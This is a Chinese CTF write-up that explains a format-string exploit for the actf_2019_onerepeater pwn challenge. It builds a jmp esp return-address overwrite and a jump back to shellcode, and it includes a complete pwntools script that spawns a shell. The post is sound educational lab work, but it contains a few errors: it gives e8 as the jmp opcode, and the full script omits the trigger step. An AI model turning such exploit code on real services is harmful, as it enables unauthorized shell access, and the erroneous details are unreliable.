buu刷题记录,actf_2019_onerepeater
分析
拿到elf文件checksec
一波,无任何保护,栈可执行,那么多半是要把程序流劫持到栈上执行shellcode
了,拖进ida里面。
逻辑比较简单,菜单题,然后选项2是明显的格式化字符串漏洞,1选项就是读入0x400
字节的数据。首先找到jmp esp
的gadget
。
有就很好办了,利用格式化字符串改掉返回地址为这个gadget,然后再在后面写一个跳板指令跳到缓冲区内,只要在退出之前把缓冲区写上shellcode就可以很快get shell
了。
先通过测试偏移,发现buf在格式化字符串函数的第16个参数。
那么我们先把返回地址劫持了再说,经过调试发现返回地址在buf+0x41c的位置上。
写出部分exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| jmp_esp=0x08048907 for i in range(4): byte=jmp_esp&0xff jmp_esp>>=8 p.sendlineafter(b'Exit',b'1') p.recvline() x=p.recvline() stack=int(x,16) success('stack:'+hex(stack)) payload=(b'%'+str(byte).encode()+b'c%24$hhn').ljust(0x20,b'\0')+p32(stack+0x41c+i)
p.send(payload) p.sendlineafter(b'Exit',b'2')
|
部分汇编知识
这里需要讲一讲汇编的知识了,因为我们在jmp esp
的时候esp
是指向我们返回地址的后面一格,所以eip
等会会指向ret_addr+4
的位置上,那么这个位置我们写些什么呢,当然直接写shellcode
是肯定没问题的,实际操作也不会太难,一个循环解决,但是当复杂起来的时候这个就有点难,所以再需要一个跳板指令执行jmp buf
,这里我们讲讲jmp
的实现,jmp
的编码是5
个字节,其实有分大跳小跳,小跳只要两个字节,但是只能跳前后0x7f
以内的位置。这里要跳到buf
显然要用大跳了,大跳的编码是e8
后面跟上小端的int
字节序。这个int
字节呢代表偏移。
平时我们看到的jmp 0x400689
这些实际编码都不是这样子编码
而是会根据这个指令所处的位置,然后计算下一条指令到我要跳转的指令位置的数值作为jmp的参数。
举个例子,假如这个jmp 0x400689所处的位置是0x400500。那么它的编码将是
0x400689-(0x400500+5)=0x134
这样子得到的。
如果是往低地址跳那就用负数表示。
这里呢我们要往buf
跳,也就是低地址跳转,那么我们指令的位置是buf+0x420
,所以得到偏移0x425
,因为指令长度占了五个,跳转的起始位置是执行完这个指令的下一个位置。
取负数得到0xfffffbdb
。
我们就得到了跳板指令的编码
同样在下方部署这些字节。
1 2 3 4 5 6 7 8 9 10 11 12
| shellcode=b'\xe9\xdb\xfb\xff\xff' for i in range(5): w=shellcode[i] print(type(w)) p.sendlineafter(b'Exit',b'1') p.recvline() x=p.recvline() stack=int(x,16) success('stack:'+hex(stack)) payload=(b'%'+str(w).encode()+b'c%24$hhn').ljust(0x20,b'\0')+p32(stack+0x420+i) p.send(payload) p.sendlineafter(b'Exit',b'2')
|
那么最后指令就会跳转到buf
上,在选择3之前在buf
上填一遍shellcode
就完事了
1 2 3 4 5 6 7 8
| p.sendlineafter('Exit',b'1') p.recvline() p.recvline() p.send(asm(shellcraft.sh()))
p.sendlineafter('Exit',b'3') gdb.attach(p,'b *0x80486FA\nb *0x80487C6') p.interactive()
|
运行结果
可以看到通过两次跳转,程序成功执行到了shellcode
,然后就愉快的cat flag
吧
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import * context.log_level='debug' context.arch='i386' def conn(x,file_name,port=9999): if x: p=process(file_name) libc=ELF('./libc/libc-2.23-64.so') else: p=remote('node4.buuoj.cn',port) libc=ELF('./libc/libc-2.23-buu64.so') return ELF(file_name),libc,p
elf,libc,p=conn(1,'./ACTF_2019_OneRepeater',port=26602)
jmp_esp=0x08048907 for i in range(4): byte=jmp_esp&0xff jmp_esp>>=8 p.sendlineafter(b'Exit',b'1') p.recvline() x=p.recvline() stack=int(x,16) success('stack:'+hex(stack)) payload=(b'%'+str(byte).encode()+b'c%24$hhn').ljust(0x20,b'\0')+p32(stack+0x41c+i)
p.send(payload) p.sendlineafter(b'Exit',b'2')
shellcode=b'\xe9\xdb\xfb\xff\xff' for i in range(5): w=shellcode[i] print(type(w)) p.sendlineafter(b'Exit',b'1') p.recvline() x=p.recvline() stack=int(x,16) success('stack:'+hex(stack)) payload=(b'%'+str(w).encode()+b'c%24$hhn').ljust(0x20,b'\0')+p32(stack+0x420+i) p.send(payload) p.sendlineafter(b'Exit',b'2')
p.sendlineafter('Exit',b'1') p.recvline() p.recvline() p.send(asm(shellcraft.sh()))
gdb.attach(p,'b *0x80486FA\nb *0x80487C6') p.interactive()
|